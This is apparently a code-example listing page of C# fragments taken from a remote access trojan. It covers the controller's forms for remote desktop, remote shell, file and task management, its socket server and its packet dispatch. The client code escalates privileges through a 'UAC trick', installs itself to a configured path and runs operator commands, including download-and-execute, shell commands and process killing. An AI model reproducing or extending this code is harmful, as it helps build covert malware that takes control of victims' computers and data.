Exemplo n.º 1
0
        public frmShowMessagebox(Client c)
        {
            cClient = c;
            cClient.Value.frmSM = this;

            InitializeComponent();
        }
Exemplo n.º 2
0
        public frmSystemInformation(Client c)
        {
            cClient = c;
            cClient.Value.frmSI = this;

            InitializeComponent();
        }
Exemplo n.º 3
0
 public frmRemoteDesktop(Client c)
 {
     cClient = c;
     cClient.Value.frmRDP = this;
     keepRunning = false;
     enableMouseInput = false;
     InitializeComponent();
 }
Exemplo n.º 4
0
        public frmRemoteShell(Client c)
        {
            cClient = c;
            cClient.Value.frmRS = this;

            InitializeComponent();

            txtConsoleOutput.Text = ">> Type 'exit' to close this session" + Environment.NewLine;
        }
Exemplo n.º 5
0
        static void ClientState(Server server, Client client, bool connected)
        {
            if (connected)
            {
                client.Value = new UserState(); //Initialize the UserState so we can store values in there if we need to.

                new InitializeCommand().Execute(client); //Tell the Client to initialize and send us information.
            }
        }
Exemplo n.º 6
0
        public frmFileManager(Client c)
        {
            cClient = c;
            cClient.Value.frmFM = this;
            InitializeComponent();

            lvwColumnSorter = new ListViewColumnSorter();
            lstDirectory.ListViewItemSorter = lvwColumnSorter;
        }
Exemplo n.º 7
0
        public frmTaskManager(Client c)
        {
            cClient = c;
            cClient.Value.frmTM = this;

            InitializeComponent();

            lvwColumnSorter = new ListViewColumnSorter();
            lstTasks.ListViewItemSorter = lvwColumnSorter;
        }
Exemplo n.º 8
0
        private void clientRead(Server server, Client client, IPacket packet)
        {
            Type type = packet.GetType();

            if (!client.Value.isAuthenticated)
            {
                if (type == typeof(Core.Packets.ClientPackets.Initialize))
                    CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize)packet, this);
                else
                    return;
            }

            if (type == typeof(Core.Packets.ClientPackets.Status))
            {
                CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status)packet, this);
            }
            else if (type == typeof(Core.Packets.ClientPackets.UserStatus))
            {
                CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet, this);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DesktopResponse))
            {
                CommandHandler.HandleRemoteDesktopResponse(client, (Core.Packets.ClientPackets.DesktopResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.GetProcessesResponse))
            {
                CommandHandler.HandleGetProcessesResponse(client, (Core.Packets.ClientPackets.GetProcessesResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DrivesResponse))
            {
                CommandHandler.HandleDrivesResponse(client, (Core.Packets.ClientPackets.DrivesResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DirectoryResponse))
            {
                CommandHandler.HandleDirectoryResponse(client, (Core.Packets.ClientPackets.DirectoryResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DownloadFileResponse))
            {
                CommandHandler.HandleDownloadFileResponse(client, (Core.Packets.ClientPackets.DownloadFileResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.GetSystemInfoResponse))
            {
                CommandHandler.HandleGetSystemInfoResponse(client, (Core.Packets.ClientPackets.GetSystemInfoResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.MonitorsResponse))
            {
                CommandHandler.HandleMonitorsResponse(client, (Core.Packets.ClientPackets.MonitorsResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.ShellCommandResponse))
            {
                CommandHandler.HandleShellCommandResponse(client, (Core.Packets.ClientPackets.ShellCommandResponse)packet);
            }
        }
Exemplo n.º 9
0
        static void ClientRead(Server server, Client client, IPacket packet)
        {
            Type type = packet.GetType(); //Get the packet type so we can determine what to do with it.

            if (type == typeof(Initialize))
            {
                HandleInitialize((Initialize)packet); //Initialize packet, handle it.
            }
            else if (type == typeof(Message))
            {
                HandleMessage((Message)packet); //Message packet, handle it.
            }
        }
Exemplo n.º 10
0
    static void ClientState(Core.Client client, bool connected)
    {
        Connected = connected;

        if (connected && !SystemCore.Disconnect)
        {
            Reconnect = true;
        }
        else if (!connected && SystemCore.Disconnect)
        {
            Reconnect = false;
        }
        else
        {
            Reconnect = !SystemCore.Disconnect;
        }
    }
Exemplo n.º 11
0
        private void clientState(Server server, Client client, bool connected)
        {
            if (connected)
            {
                client.Value = new UserState(); // Initialize the UserState so we can store values in there if we need to.

                new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
            }
            else
            {
                foreach (ListViewItem lvi in lstClients.Items)
                    if ((Client)lvi.Tag == client)
                    {
                        lvi.Remove();
                        server.ConnectedClients--;
                    }
                updateWindowTitle(listenServer.ConnectedClients, lstClients.SelectedItems.Count);
            }
        }
Exemplo n.º 12
0
        private void Process(object s, SocketAsyncEventArgs e)
        {
            try
            {
                if (e.SocketError == SocketError.Success)
                {
                    Client T = new Client(this, e.AcceptSocket, BufferSize, PacketTypes.ToArray());

                    lock (_clients)
                    {
                        if (_clients.Count <= MaxConnections)
                        {
                            _clients.Add(T);
                            T.ClientState += HandleState;
                            T.ClientRead += OnClientRead;
                            T.ClientWrite += OnClientWrite;

                            OnClientState(T, true);
                        }
                        else
                        {
                            T.Disconnect();
                        }
                    }

                    e.AcceptSocket = null;
                    if (!_handle.AcceptAsync(e))
                        Process(null, e);
                }
                else
                {
                    Disconnect();
                }

            }
            catch
            {
                Disconnect();
            }
        }
Exemplo n.º 13
0
 private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData)
 {
     if (ClientWrite != null)
     {
         ClientWrite(this, c, packet, length);
     }
 }
Exemplo n.º 14
0
 private void OnClientState(Client c, bool connected)
 {
     if (ClientState != null)
     {
         ClientState(this, c, connected);
     }
 }
Exemplo n.º 15
0
 private void OnClientRead(Client c, IPacket packet)
 {
     if (ClientRead != null)
     {
         ClientRead(this, c, packet);
     }
 }
Exemplo n.º 16
0
 private void HandleState(Client s, bool open)
 {
     lock (_clients)
     {
         _clients.Remove(s);
         OnClientState(s, false);
     }
 }
Exemplo n.º 17
0
 internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
 {
     foreach (KeepAlive keepAlive in _keepAlives)
     {
         if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client)
         {
             _keepAlives.Remove(keepAlive);
             break;
         }
     }
 }
Exemplo n.º 18
0
    static void Initialize()
    {
        System.Threading.Thread.Sleep(2000);

        SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
        SystemCore.MyPath = Application.ExecutablePath;
        SystemCore.InstallPath = Path.Combine(Settings.DIR, Settings.SUBFOLDER + @"\" + Settings.INSTALLNAME);
        SystemCore.AccountType = SystemCore.GetAccountType();
        SystemCore.InitializeGeoIp();

        if (Settings.ENABLEUACESCALATION)
        {
            if (SystemCore.TryUacTrick())
                SystemCore.Disconnect = true;

            if (SystemCore.Disconnect)
                return;
        }

        if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
        {
            if (!SystemCore.CreateMutex(ref AppMutex))
                SystemCore.Disconnect = true;

            if (SystemCore.Disconnect)
                return;

            new Thread(SystemCore.UserIdleThread).Start();

            _Client = new Core.Client(8192);

            _Client.AddTypesToSerializer(typeof(IPacket), new Type[]
            {
                typeof(Core.Packets.ServerPackets.InitializeCommand),
                typeof(Core.Packets.ServerPackets.Disconnect),
                typeof(Core.Packets.ServerPackets.Reconnect),
                typeof(Core.Packets.ServerPackets.Uninstall),
                typeof(Core.Packets.ServerPackets.DownloadAndExecute),
                typeof(Core.Packets.ServerPackets.UploadAndExecute),
                typeof(Core.Packets.ServerPackets.Desktop),
                typeof(Core.Packets.ServerPackets.GetProcesses),
                typeof(Core.Packets.ServerPackets.KillProcess),
                typeof(Core.Packets.ServerPackets.StartProcess),
                typeof(Core.Packets.ServerPackets.Drives),
                typeof(Core.Packets.ServerPackets.Directory),
                typeof(Core.Packets.ServerPackets.DownloadFile),
                typeof(Core.Packets.ServerPackets.MouseClick),
                typeof(Core.Packets.ServerPackets.GetSystemInfo),
                typeof(Core.Packets.ServerPackets.VisitWebsite),
                typeof(Core.Packets.ServerPackets.ShowMessageBox),
                typeof(Core.Packets.ServerPackets.Update),
                typeof(Core.Packets.ServerPackets.Monitors),
                typeof(Core.Packets.ServerPackets.ShellCommand),
                typeof(Core.Packets.ServerPackets.Rename),
                typeof(Core.Packets.ServerPackets.Delete),
                typeof(Core.Packets.ServerPackets.Action),
                typeof(Core.Packets.ClientPackets.Initialize),
                typeof(Core.Packets.ClientPackets.Status),
                typeof(Core.Packets.ClientPackets.UserStatus),
                typeof(Core.Packets.ClientPackets.DesktopResponse),
                typeof(Core.Packets.ClientPackets.GetProcessesResponse),
                typeof(Core.Packets.ClientPackets.DrivesResponse),
                typeof(Core.Packets.ClientPackets.DirectoryResponse),
                typeof(Core.Packets.ClientPackets.DownloadFileResponse),
                typeof(Core.Packets.ClientPackets.GetSystemInfoResponse),
                typeof(Core.Packets.ClientPackets.MonitorsResponse),
                typeof(Core.Packets.ClientPackets.ShellCommandResponse)
            });

            _Client.ClientState += ClientState;
            _Client.ClientRead += ClientRead;
        }
        else
        {
            if (!SystemCore.CreateMutex(ref AppMutex))
                SystemCore.Disconnect = true;

            if (SystemCore.Disconnect)
                return;

            SystemCore.Install();
        }
    }
Exemplo n.º 19
0
    static void Initialize()
    {
        System.Threading.Thread.Sleep(2000);

        SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
        SystemCore.MyPath          = Application.ExecutablePath;
        SystemCore.InstallPath     = Path.Combine(Settings.DIR, Settings.SUBFOLDER + @"\" + Settings.INSTALLNAME);
        SystemCore.AccountType     = SystemCore.GetAccountType();
        SystemCore.InitializeGeoIp();

        if (Settings.ENABLEUACESCALATION)
        {
            if (SystemCore.TryUacTrick())
            {
                SystemCore.Disconnect = true;
            }

            if (SystemCore.Disconnect)
            {
                return;
            }
        }

        if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
        {
            if (!SystemCore.CreateMutex(ref AppMutex))
            {
                SystemCore.Disconnect = true;
            }

            if (SystemCore.Disconnect)
            {
                return;
            }

            new Thread(SystemCore.UserIdleThread).Start();

            _Client = new Core.Client(8192);

            _Client.AddTypesToSerializer(typeof(IPacket), new Type[]
            {
                typeof(Core.Packets.ServerPackets.InitializeCommand),
                typeof(Core.Packets.ServerPackets.Disconnect),
                typeof(Core.Packets.ServerPackets.Reconnect),
                typeof(Core.Packets.ServerPackets.Uninstall),
                typeof(Core.Packets.ServerPackets.DownloadAndExecute),
                typeof(Core.Packets.ServerPackets.Desktop),
                typeof(Core.Packets.ServerPackets.GetProcesses),
                typeof(Core.Packets.ServerPackets.KillProcess),
                typeof(Core.Packets.ServerPackets.StartProcess),
                typeof(Core.Packets.ServerPackets.Drives),
                typeof(Core.Packets.ServerPackets.Directory),
                typeof(Core.Packets.ServerPackets.DownloadFile),
                typeof(Core.Packets.ServerPackets.MouseClick),
                typeof(Core.Packets.ServerPackets.GetSystemInfo),
                typeof(Core.Packets.ServerPackets.VisitWebsite),
                typeof(Core.Packets.ServerPackets.ShowMessageBox),
                typeof(Core.Packets.ServerPackets.Update),
                typeof(Core.Packets.ServerPackets.Monitors),
                typeof(Core.Packets.ServerPackets.ShellCommand),
                typeof(Core.Packets.ClientPackets.Initialize),
                typeof(Core.Packets.ClientPackets.Status),
                typeof(Core.Packets.ClientPackets.UserStatus),
                typeof(Core.Packets.ClientPackets.DesktopResponse),
                typeof(Core.Packets.ClientPackets.GetProcessesResponse),
                typeof(Core.Packets.ClientPackets.DrivesResponse),
                typeof(Core.Packets.ClientPackets.DirectoryResponse),
                typeof(Core.Packets.ClientPackets.DownloadFileResponse),
                typeof(Core.Packets.ClientPackets.GetSystemInfoResponse),
                typeof(Core.Packets.ClientPackets.MonitorsResponse),
                typeof(Core.Packets.ClientPackets.ShellCommandResponse)
            });

            _Client.ClientState += ClientState;
            _Client.ClientRead  += ClientRead;
        }
        else
        {
            if (!SystemCore.CreateMutex(ref AppMutex))
            {
                SystemCore.Disconnect = true;
            }

            if (SystemCore.Disconnect)
            {
                return;
            }

            SystemCore.Install();
        }
    }
Exemplo n.º 20
0
    static void ClientRead(Core.Client client, IPacket packet)
    {
        Type type = packet.GetType();

        if (type == typeof(Core.Packets.ServerPackets.InitializeCommand))
        {
            CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.DownloadAndExecute))
        {
            CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Disconnect))
        {
            SystemCore.Disconnect = true;
            client.Disconnect();
        }
        else if (type == typeof(Core.Packets.ServerPackets.Reconnect))
        {
            client.Disconnect();
        }
        else if (type == typeof(Core.Packets.ServerPackets.Uninstall))
        {
            CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Desktop))
        {
            CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.GetProcesses))
        {
            CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.KillProcess))
        {
            CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.StartProcess))
        {
            CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Drives))
        {
            CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Directory))
        {
            CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.DownloadFile))
        {
            CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.MouseClick))
        {
            CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.GetSystemInfo))
        {
            CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.VisitWebsite))
        {
            CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.ShowMessageBox))
        {
            CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Update))
        {
            CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.Monitors))
        {
            CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors)packet, client);
        }
        else if (type == typeof(Core.Packets.ServerPackets.ShellCommand))
        {
            CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client);
        }
    }